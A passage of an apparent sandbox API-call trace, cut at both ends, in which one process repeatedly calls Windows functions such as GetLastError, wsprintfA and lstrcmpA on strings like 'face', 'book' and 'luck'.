0xffffffff [0040.268] GetLastError () returned 0x57 [0040.268] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="5E1P") returned 4 [0040.268] SetLastError (dwErrCode=0x57) [0040.268] GetCurrentProcessId () returned 0xbfc [0040.268] GetLastError () returned 0x57 [0040.268] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="5E2P") returned 4 [0040.268] SetLastError (dwErrCode=0x57) [0040.268] GetCurrentProcessId () returned 0xbfc [0040.268] GetCurrentProcessId () returned 0xbfc [0040.268] GetCurrentProcessId () returned 0xbfc [0040.268] GetCurrentProcessId () returned 0xbfc [0040.268] lstrlenA (lpString="just string") returned 11 [0040.268] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.268] GetLastError () returned 0x57 [0040.268] GetCurrentProcess () returned 0xffffffff [0040.268] GetLastError () returned 0x57 [0040.268] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="5FFP") returned 4 [0040.268] SetLastError (dwErrCode=0x57) [0040.268] GetCurrentProcessId () returned 0xbfc [0040.268] GetLastError () returned 0x57 [0040.268] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="600P") returned 4 [0040.268] SetLastError (dwErrCode=0x57) [0040.268] GetCurrentProcessId () returned 0xbfc [0040.268] GetCurrentProcessId () returned 0xbfc [0040.268] GetCurrentProcessId () returned 0xbfc [0040.268] GetCurrentProcessId () returned 0xbfc [0040.268] lstrlenA (lpString="just string") returned 11 [0040.268] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.268] GetLastError () returned 0x57 [0040.268] GetLastError () returned 0x57 [0040.268] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.268] SetLastError (dwErrCode=0x57) [0040.268] GetCurrentProcess () returned 0xffffffff [0040.268] GetLastError () returned 0x57 [0040.268] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="63AP") returned 4 [0040.268] SetLastError (dwErrCode=0x57) [0040.268] GetCurrentProcessId () returned 0xbfc [0040.268] GetCurrentProcess () returned 0xffffffff [0040.268] GetLastError () returned 0x57 [0040.268] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="63BP") returned 4 [0040.268] SetLastError (dwErrCode=0x57) [0040.268] GetCurrentProcessId () returned 0xbfc [0040.268] GetLastError () returned 0x57 [0040.268] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="63CP") returned 4 [0040.268] SetLastError (dwErrCode=0x57) [0040.268] GetCurrentProcessId () returned 0xbfc [0040.268] GetCurrentProcessId () returned 0xbfc [0040.268] GetCurrentProcessId () returned 0xbfc [0040.268] GetCurrentProcessId () returned 0xbfc [0040.268] lstrlenA (lpString="just string") returned 11 [0040.268] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.268] GetLastError () returned 0x57 [0040.268] GetLastError () returned 0x57 [0040.268] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.269] SetLastError (dwErrCode=0x57) [0040.269] GetCurrentProcess () returned 0xffffffff [0040.269] GetLastError () returned 0x57 [0040.269] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="64EP") returned 4 [0040.269] SetLastError (dwErrCode=0x57) [0040.269] GetCurrentProcessId () returned 0xbfc [0040.269] GetCurrentProcess () returned 0xffffffff [0040.269] GetLastError () returned 0x57 [0040.269] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="64FP") returned 4 [0040.269] SetLastError (dwErrCode=0x57) [0040.269] GetCurrentProcessId () returned 0xbfc [0040.269] GetLastError () returned 0x57 [0040.269] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="650P") returned 4 [0040.269] SetLastError (dwErrCode=0x57) [0040.269] GetCurrentProcessId () returned 0xbfc [0040.269] GetCurrentProcessId () returned 0xbfc [0040.269] GetCurrentProcessId () returned 0xbfc [0040.269] GetCurrentProcessId () returned 0xbfc [0040.269] lstrlenA (lpString="just string") returned 11 [0040.269] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.269] GetLastError () returned 0x57 [0040.269] GetCurrentProcessId () returned 0xbfc [0040.269] lstrlenA (lpString="just string") returned 11 [0040.269] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.269] GetLastError () returned 0x57 [0040.269] lstrlenA (lpString="just string") returned 11 [0040.269] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.269] GetLastError () returned 0x57 [0040.269] GetLastError () returned 0x57 [0040.269] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.269] SetLastError (dwErrCode=0x57) [0040.269] GetCurrentProcess () returned 0xffffffff [0040.269] GetLastError () returned 0x57 [0040.269] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="702P") returned 4 [0040.269] SetLastError (dwErrCode=0x57) [0040.269] GetCurrentProcessId () returned 0xbfc [0040.269] GetCurrentProcess () returned 0xffffffff [0040.269] GetLastError () returned 0x57 [0040.269] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="703P") returned 4 [0040.269] SetLastError (dwErrCode=0x57) [0040.269] GetCurrentProcessId () returned 0xbfc [0040.269] GetLastError () returned 0x57 [0040.269] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="704P") returned 4 [0040.269] SetLastError (dwErrCode=0x57) [0040.269] GetCurrentProcessId () returned 0xbfc [0040.269] GetCurrentProcessId () returned 0xbfc [0040.269] GetCurrentProcessId () returned 0xbfc [0040.269] GetCurrentProcessId () returned 0xbfc [0040.269] lstrlenA (lpString="just string") returned 11 [0040.269] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.269] GetLastError () returned 0x57 [0040.269] GetLastError () returned 0x57 [0040.269] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.269] SetLastError (dwErrCode=0x57) [0040.269] GetCurrentProcess () returned 0xffffffff [0040.269] GetLastError () returned 0x57 [0040.269] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="720P") returned 4 [0040.269] SetLastError (dwErrCode=0x57) [0040.269] GetCurrentProcessId () returned 0xbfc [0040.270] GetCurrentProcess () returned 0xffffffff [0040.270] GetLastError () returned 0x57 [0040.270] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="721P") returned 4 [0040.270] SetLastError (dwErrCode=0x57) [0040.270] GetCurrentProcessId () returned 0xbfc [0040.270] GetLastError () returned 0x57 [0040.270] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="722P") returned 4 [0040.270] SetLastError (dwErrCode=0x57) [0040.270] GetCurrentProcessId () returned 0xbfc [0040.270] GetCurrentProcessId () returned 0xbfc [0040.270] GetCurrentProcessId () returned 0xbfc [0040.270] GetCurrentProcessId () returned 0xbfc [0040.270] lstrlenA (lpString="just string") returned 11 [0040.270] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.270] GetLastError () returned 0x57 [0040.270] GetLastError () returned 0x57 [0040.270] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.270] SetLastError (dwErrCode=0x57) [0040.270] GetCurrentProcess () returned 0xffffffff [0040.270] GetLastError () returned 0x57 [0040.270] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="73EP") returned 4 [0040.270] SetLastError (dwErrCode=0x57) [0040.270] GetCurrentProcessId () returned 0xbfc [0040.270] GetCurrentProcess () returned 0xffffffff [0040.270] GetLastError () returned 0x57 [0040.270] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="73FP") returned 4 [0040.270] SetLastError (dwErrCode=0x57) [0040.270] GetCurrentProcessId () returned 0xbfc [0040.270] GetLastError () returned 0x57 [0040.270] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="740P") returned 4 [0040.270] SetLastError (dwErrCode=0x57) [0040.270] GetCurrentProcessId () returned 0xbfc [0040.270] GetCurrentProcessId () returned 0xbfc [0040.270] GetCurrentProcessId () returned 0xbfc [0040.270] GetCurrentProcessId () returned 0xbfc [0040.270] lstrlenA (lpString="just string") returned 11 [0040.270] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.270] GetLastError () returned 0x57 [0040.270] GetLastError () returned 0x57 [0040.270] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="74AP") returned 4 [0040.270] SetLastError (dwErrCode=0x57) [0040.270] GetCurrentProcessId () returned 0xbfc [0040.270] GetCurrentProcessId () returned 0xbfc [0040.270] GetCurrentProcessId () returned 0xbfc [0040.270] GetCurrentProcessId () returned 0xbfc [0040.270] lstrlenA (lpString="just string") returned 11 [0040.270] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.270] GetLastError () returned 0x57 [0040.270] GetCurrentProcess () returned 0xffffffff [0040.270] GetLastError () returned 0x57 [0040.270] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="75DP") returned 4 [0040.270] SetLastError (dwErrCode=0x57) [0040.270] GetCurrentProcessId () returned 0xbfc [0040.270] GetLastError () returned 0x57 [0040.270] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="75EP") returned 4 [0040.270] SetLastError (dwErrCode=0x57) [0040.270] GetCurrentProcessId () returned 0xbfc [0040.270] GetCurrentProcessId () returned 0xbfc [0040.270] GetCurrentProcessId () returned 0xbfc [0040.270] GetCurrentProcessId () returned 0xbfc [0040.270] lstrlenA (lpString="just string") returned 11 [0040.270] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.270] GetLastError () returned 0x57 [0040.271] GetCurrentProcessId () returned 0xbfc [0040.271] GetCurrentProcessId () returned 0xbfc [0040.271] lstrlenA (lpString="just string") returned 11 [0040.271] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.271] GetLastError () returned 0x57 [0040.271] GetCurrentProcess () returned 0xffffffff [0040.271] GetLastError () returned 0x57 [0040.271] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="7A3P") returned 4 [0040.271] SetLastError (dwErrCode=0x57) [0040.271] GetCurrentProcessId () returned 0xbfc [0040.271] GetLastError () returned 0x57 [0040.271] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="7A4P") returned 4 [0040.271] SetLastError (dwErrCode=0x57) [0040.271] GetCurrentProcessId () returned 0xbfc [0040.271] GetCurrentProcessId () returned 0xbfc [0040.271] GetCurrentProcessId () returned 0xbfc [0040.271] GetCurrentProcessId () returned 0xbfc [0040.271] lstrlenA (lpString="just string") returned 11 [0040.271] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.271] GetLastError () returned 0x57 [0040.271] lstrlenA (lpString="just string") returned 11 [0040.271] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.271] GetLastError () returned 0x57 [0040.271] lstrlenA (lpString="just string") returned 11 [0040.271] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.271] GetLastError () returned 0x57 [0040.271] GetCurrentProcessId () returned 0xbfc [0040.271] lstrlenA (lpString="just string") returned 11 [0040.271] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.271] GetLastError () returned 0x57 [0040.271] GetLastError () returned 0x57 [0040.271] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.271] SetLastError (dwErrCode=0x57) [0040.271] GetCurrentProcess () returned 0xffffffff [0040.271] GetLastError () returned 0x57 [0040.271] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="874P") returned 4 [0040.271] SetLastError (dwErrCode=0x57) [0040.271] GetCurrentProcessId () returned 0xbfc [0040.271] GetCurrentProcess () returned 0xffffffff [0040.271] GetLastError () returned 0x57 [0040.271] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="875P") returned 4 [0040.271] SetLastError (dwErrCode=0x57) [0040.271] GetCurrentProcessId () returned 0xbfc [0040.271] GetLastError () returned 0x57 [0040.271] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="876P") returned 4 [0040.271] SetLastError (dwErrCode=0x57) [0040.271] GetCurrentProcessId () returned 0xbfc [0040.271] GetCurrentProcessId () returned 0xbfc [0040.271] GetCurrentProcessId () returned 0xbfc [0040.271] GetCurrentProcessId () returned 0xbfc [0040.271] lstrlenA (lpString="just string") returned 11 [0040.271] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.271] GetLastError () returned 0x57 [0040.271] GetCurrentProcessId () returned 0xbfc [0040.271] lstrlenA (lpString="just string") returned 11 [0040.271] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.271] GetLastError () returned 0x57 [0040.271] GetLastError () returned 0x57 [0040.272] GetLastError () returned 0x57 [0040.272] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.272] SetLastError (dwErrCode=0x57) [0040.272] GetCurrentProcess () returned 0xffffffff [0040.272] GetLastError () returned 0x57 [0040.272] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="8B0P") returned 4 [0040.272] SetLastError (dwErrCode=0x57) [0040.272] GetCurrentProcessId () returned 0xbfc [0040.272] GetCurrentProcess () returned 0xffffffff [0040.272] GetLastError () returned 0x57 [0040.272] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="8B1P") returned 4 [0040.272] SetLastError (dwErrCode=0x57) [0040.272] GetCurrentProcessId () returned 0xbfc [0040.272] GetLastError () returned 0x57 [0040.272] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="8B2P") returned 4 [0040.272] SetLastError (dwErrCode=0x57) [0040.272] GetCurrentProcessId () returned 0xbfc [0040.272] GetCurrentProcessId () returned 0xbfc [0040.272] GetCurrentProcessId () returned 0xbfc [0040.272] GetCurrentProcessId () returned 0xbfc [0040.272] lstrlenA (lpString="just string") returned 11 [0040.272] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.272] GetLastError () returned 0x57 [0040.272] GetLastError () returned 0x57 [0040.272] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.272] SetLastError (dwErrCode=0x57) [0040.272] GetCurrentProcess () returned 0xffffffff [0040.272] GetLastError () returned 0x57 [0040.272] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="8F6P") returned 4 [0040.272] SetLastError (dwErrCode=0x57) [0040.272] GetCurrentProcessId () returned 0xbfc [0040.272] GetCurrentProcess () returned 0xffffffff [0040.272] GetLastError () returned 0x57 [0040.272] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="8F7P") returned 4 [0040.272] SetLastError (dwErrCode=0x57) [0040.272] GetCurrentProcessId () returned 0xbfc [0040.272] GetLastError () returned 0x57 [0040.272] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="8F8P") returned 4 [0040.272] SetLastError (dwErrCode=0x57) [0040.272] GetCurrentProcessId () returned 0xbfc [0040.272] GetCurrentProcessId () returned 0xbfc [0040.272] GetCurrentProcessId () returned 0xbfc [0040.272] GetCurrentProcessId () returned 0xbfc [0040.272] lstrlenA (lpString="just string") returned 11 [0040.272] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.272] GetLastError () returned 0x57 [0040.272] GetCurrentProcess () returned 0xffffffff [0040.272] GetLastError () returned 0x57 [0040.272] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="901P") returned 4 [0040.272] SetLastError (dwErrCode=0x57) [0040.272] GetCurrentProcessId () returned 0xbfc [0040.272] GetLastError () returned 0x57 [0040.272] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="902P") returned 4 [0040.272] SetLastError (dwErrCode=0x57) [0040.272] GetCurrentProcessId () returned 0xbfc [0040.272] GetCurrentProcessId () returned 0xbfc [0040.272] GetCurrentProcessId () returned 0xbfc [0040.272] GetCurrentProcessId () returned 0xbfc [0040.272] lstrlenA (lpString="just string") returned 11 [0040.273] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.273] GetLastError () returned 0x57 [0040.273] GetLastError () returned 0x57 [0040.273] GetLastError () returned 0x57 [0040.273] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.273] SetLastError (dwErrCode=0x57) [0040.273] GetCurrentProcess () returned 0xffffffff [0040.273] GetLastError () returned 0x57 [0040.273] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="928P") returned 4 [0040.273] SetLastError (dwErrCode=0x57) [0040.273] GetCurrentProcessId () returned 0xbfc [0040.273] GetCurrentProcess () returned 0xffffffff [0040.273] GetLastError () returned 0x57 [0040.273] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="929P") returned 4 [0040.273] SetLastError (dwErrCode=0x57) [0040.273] GetCurrentProcessId () returned 0xbfc [0040.273] GetLastError () returned 0x57 [0040.273] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="92AP") returned 4 [0040.273] SetLastError (dwErrCode=0x57) [0040.273] GetCurrentProcessId () returned 0xbfc [0040.273] GetCurrentProcessId () returned 0xbfc [0040.273] GetCurrentProcessId () returned 0xbfc [0040.273] GetCurrentProcessId () returned 0xbfc [0040.273] lstrlenA (lpString="just string") returned 11 [0040.273] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.273] GetLastError () returned 0x57 [0040.273] GetLastError () returned 0x57 [0040.273] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.273] SetLastError (dwErrCode=0x57) [0040.273] GetCurrentProcess () returned 0xffffffff [0040.273] GetLastError () returned 0x57 [0040.273] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="950P") returned 4 [0040.273] SetLastError (dwErrCode=0x57) [0040.273] GetCurrentProcessId () returned 0xbfc [0040.273] GetCurrentProcess () returned 0xffffffff [0040.273] GetLastError () returned 0x57 [0040.273] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="951P") returned 4 [0040.273] SetLastError (dwErrCode=0x57) [0040.273] GetCurrentProcessId () returned 0xbfc [0040.273] GetLastError () returned 0x57 [0040.273] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="952P") returned 4 [0040.273] SetLastError (dwErrCode=0x57) [0040.273] GetCurrentProcessId () returned 0xbfc [0040.273] GetCurrentProcessId () returned 0xbfc [0040.273] GetCurrentProcessId () returned 0xbfc [0040.273] GetCurrentProcessId () returned 0xbfc [0040.273] lstrlenA (lpString="just string") returned 11 [0040.273] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.273] GetLastError () returned 0x57 [0040.273] GetLastError () returned 0x57 [0040.273] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.273] SetLastError (dwErrCode=0x57) [0040.273] GetCurrentProcess () returned 0xffffffff [0040.273] GetLastError () returned 0x57 [0040.273] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="996P") returned 4 [0040.273] SetLastError (dwErrCode=0x57) [0040.273] GetCurrentProcessId () returned 0xbfc [0040.274] GetCurrentProcess () returned 0xffffffff [0040.274] GetLastError () returned 0x57 [0040.274] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="997P") returned 4 [0040.274] SetLastError (dwErrCode=0x57) [0040.274] GetCurrentProcessId () returned 0xbfc [0040.274] GetLastError () returned 0x57 [0040.274] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="998P") returned 4 [0040.274] SetLastError (dwErrCode=0x57) [0040.274] GetCurrentProcessId () returned 0xbfc [0040.274] GetCurrentProcessId () returned 0xbfc [0040.274] GetCurrentProcessId () returned 0xbfc [0040.274] GetCurrentProcessId () returned 0xbfc [0040.274] lstrlenA (lpString="just string") returned 11 [0040.274] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.274] GetLastError () returned 0x57 [0040.274] GetLastError () returned 0x57 [0040.274] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.274] SetLastError (dwErrCode=0x57) [0040.274] GetCurrentProcess () returned 0xffffffff [0040.274] GetLastError () returned 0x57 [0040.274] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="9D2P") returned 4 [0040.274] SetLastError (dwErrCode=0x57) [0040.274] GetCurrentProcessId () returned 0xbfc [0040.274] GetCurrentProcess () returned 0xffffffff [0040.274] GetLastError () returned 0x57 [0040.274] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="9D3P") returned 4 [0040.274] SetLastError (dwErrCode=0x57) [0040.274] GetCurrentProcessId () returned 0xbfc [0040.274] GetLastError () returned 0x57 [0040.274] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="9D4P") returned 4 [0040.274] SetLastError (dwErrCode=0x57) [0040.274] GetCurrentProcessId () returned 0xbfc [0040.274] GetCurrentProcessId () returned 0xbfc [0040.274] GetCurrentProcessId () returned 0xbfc [0040.274] GetCurrentProcessId () returned 0xbfc [0040.274] lstrlenA (lpString="just string") returned 11 [0040.274] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.274] GetLastError () returned 0x57 [0040.274] lstrlenA (lpString="just string") returned 11 [0040.274] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.274] GetLastError () returned 0x57 [0040.274] GetLastError () returned 0x57 [0040.274] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="9FCP") returned 4 [0040.274] SetLastError (dwErrCode=0x57) [0040.274] GetCurrentProcessId () returned 0xbfc [0040.274] GetCurrentProcessId () returned 0xbfc [0040.274] GetCurrentProcessId () returned 0xbfc [0040.274] GetCurrentProcessId () returned 0xbfc [0040.274] lstrlenA (lpString="just string") returned 11 [0040.274] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.274] GetLastError () returned 0x57 [0040.274] lstrlenA (lpString="just string") returned 11 [0040.274] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.274] GetLastError () returned 0x57 [0040.274] GetLastError () returned 0x57 [0040.274] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.275] SetLastError (dwErrCode=0x57) [0040.275] GetCurrentProcess () returned 0xffffffff [0040.275] GetLastError () returned 0x57 [0040.275] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="A22P") returned 4 [0040.275] SetLastError (dwErrCode=0x57) [0040.275] GetCurrentProcessId () returned 0xbfc [0040.275] GetCurrentProcess () returned 0xffffffff [0040.275] GetLastError () returned 0x57 [0040.275] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="A23P") returned 4 [0040.275] SetLastError (dwErrCode=0x57) [0040.275] GetCurrentProcessId () returned 0xbfc [0040.275] GetLastError () returned 0x57 [0040.275] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="A24P") returned 4 [0040.275] SetLastError (dwErrCode=0x57) [0040.275] GetCurrentProcessId () returned 0xbfc [0040.275] GetCurrentProcessId () returned 0xbfc [0040.275] GetCurrentProcessId () returned 0xbfc [0040.275] GetCurrentProcessId () returned 0xbfc [0040.275] lstrlenA (lpString="just string") returned 11 [0040.275] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.275] GetLastError () returned 0x57 [0040.275] GetCurrentProcess () returned 0xffffffff [0040.275] GetLastError () returned 0x57 [0040.275] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="A41P") returned 4 [0040.275] SetLastError (dwErrCode=0x57) [0040.275] GetCurrentProcessId () returned 0xbfc [0040.275] GetLastError () returned 0x57 [0040.275] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="A42P") returned 4 [0040.275] SetLastError (dwErrCode=0x57) [0040.275] GetCurrentProcessId () returned 0xbfc [0040.275] GetCurrentProcessId () returned 0xbfc [0040.275] GetCurrentProcessId () returned 0xbfc [0040.275] GetCurrentProcessId () returned 0xbfc [0040.275] lstrlenA (lpString="just string") returned 11 [0040.275] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.275] GetLastError () returned 0x57 [0040.275] GetLastError () returned 0x57 [0040.275] GetCurrentProcess () returned 0xffffffff [0040.275] GetLastError () returned 0x57 [0040.275] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="A55P") returned 4 [0040.275] SetLastError (dwErrCode=0x57) [0040.275] GetCurrentProcessId () returned 0xbfc [0040.275] GetLastError () returned 0x57 [0040.275] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="A56P") returned 4 [0040.275] SetLastError (dwErrCode=0x57) [0040.275] GetCurrentProcessId () returned 0xbfc [0040.275] GetCurrentProcessId () returned 0xbfc [0040.275] GetCurrentProcessId () returned 0xbfc [0040.275] lstrlenA (lpString="just string") returned 11 [0040.275] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.275] GetLastError () returned 0x57 [0040.275] GetLastError () returned 0x57 [0040.275] GetLastError () returned 0x57 [0040.275] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.275] SetLastError (dwErrCode=0x57) [0040.275] GetCurrentProcess () returned 0xffffffff [0040.275] GetLastError () returned 0x57 [0040.275] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="A86P") returned 4 [0040.276] SetLastError (dwErrCode=0x57) [0040.276] lstrlenA (lpString="just string") returned 11 [0040.276] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.276] GetLastError () returned 0x57 [0040.276] lstrlenA (lpString="just string") returned 11 [0040.276] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.276] GetLastError () returned 0x57 [0040.276] GetCurrentProcess () returned 0xffffffff [0040.276] GetLastError () returned 0x57 [0040.276] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="AE1P") returned 4 [0040.276] SetLastError (dwErrCode=0x57) [0040.276] lstrlenA (lpString="just string") returned 11 [0040.276] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.276] GetLastError () returned 0x57 [0040.276] GetCurrentProcess () returned 0xffffffff [0040.276] GetLastError () returned 0x57 [0040.276] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="B13P") returned 4 [0040.276] SetLastError (dwErrCode=0x57) [0040.276] lstrlenA (lpString="just string") returned 11 [0040.276] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.276] GetLastError () returned 0x57 [0040.276] lstrlenA (lpString="just string") returned 11 [0040.276] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.276] GetLastError () returned 0x57 [0040.276] lstrlenA (lpString="just string") returned 11 [0040.276] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.276] GetLastError () returned 0x57 [0040.276] GetCurrentProcess () returned 0xffffffff [0040.276] GetLastError () returned 0x57 [0040.276] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="BEFP") returned 4 [0040.276] SetLastError (dwErrCode=0x57) [0040.276] lstrlenA (lpString="just string") returned 11 [0040.276] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.276] GetLastError () returned 0x57 [0040.276] GetLastError () returned 0x57 [0040.276] GetLastError () returned 0x57 [0040.276] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="C0EP") returned 4 [0040.276] SetLastError (dwErrCode=0x57) [0040.276] lstrlenA (lpString="just string") returned 11 [0040.276] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.276] GetLastError () returned 0x57 [0040.276] lstrlenA (lpString="just string") returned 11 [0040.276] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.276] GetLastError () returned 0x57 [0040.276] lstrlenA (lpString="just string") returned 11 [0040.276] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.276] GetLastError () returned 0x57 [0040.276] GetCurrentProcess () returned 0xffffffff [0040.276] GetLastError () returned 0x57 [0040.276] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="C49P") returned 4 [0040.276] SetLastError (dwErrCode=0x57) [0040.277] lstrlenA (lpString="just string") returned 11 [0040.277] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.277] GetLastError () returned 0x57 [0040.277] GetLastError () returned 0x57 [0040.277] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0040.277] SetLastError (dwErrCode=0x57) [0040.277] GetCurrentProcess () returned 0xffffffff [0040.277] GetLastError () returned 0x57 [0040.277] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="C52P") returned 4 [0040.277] SetLastError (dwErrCode=0x57) [0040.277] lstrlenA (lpString="just string") returned 11 [0040.277] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.277] GetLastError () returned 0x57 [0040.277] lstrlenA (lpString="just string") returned 11 [0040.277] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.277] GetLastError () returned 0x57 [0040.277] GetLastError () returned 0x57 [0040.277] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.277] SetLastError (dwErrCode=0x57) [0040.277] GetCurrentProcess () returned 0xffffffff [0040.277] GetLastError () returned 0x57 [0040.277] wsprintfA (in: param_1=0x3dfa63, param_2="%X%P" | out: param_1="C8EP") returned 4 [0040.277] SetLastError (dwErrCode=0x57) [0040.277] lstrlenA (lpString="just string") returned 11 [0040.277] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.277] GetLastError () returned 0x57 [0040.277] lstrlenA (lpString="just string") returned 11 [0040.277] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0040.277] GetLastError () returned 0x57 [0040.277] GetLastError () returned 0x57 [0040.277] lstrcmpA (lpString1="\x08\x8aw", lpString2="luck") returned 1 [0040.277] SetLastError 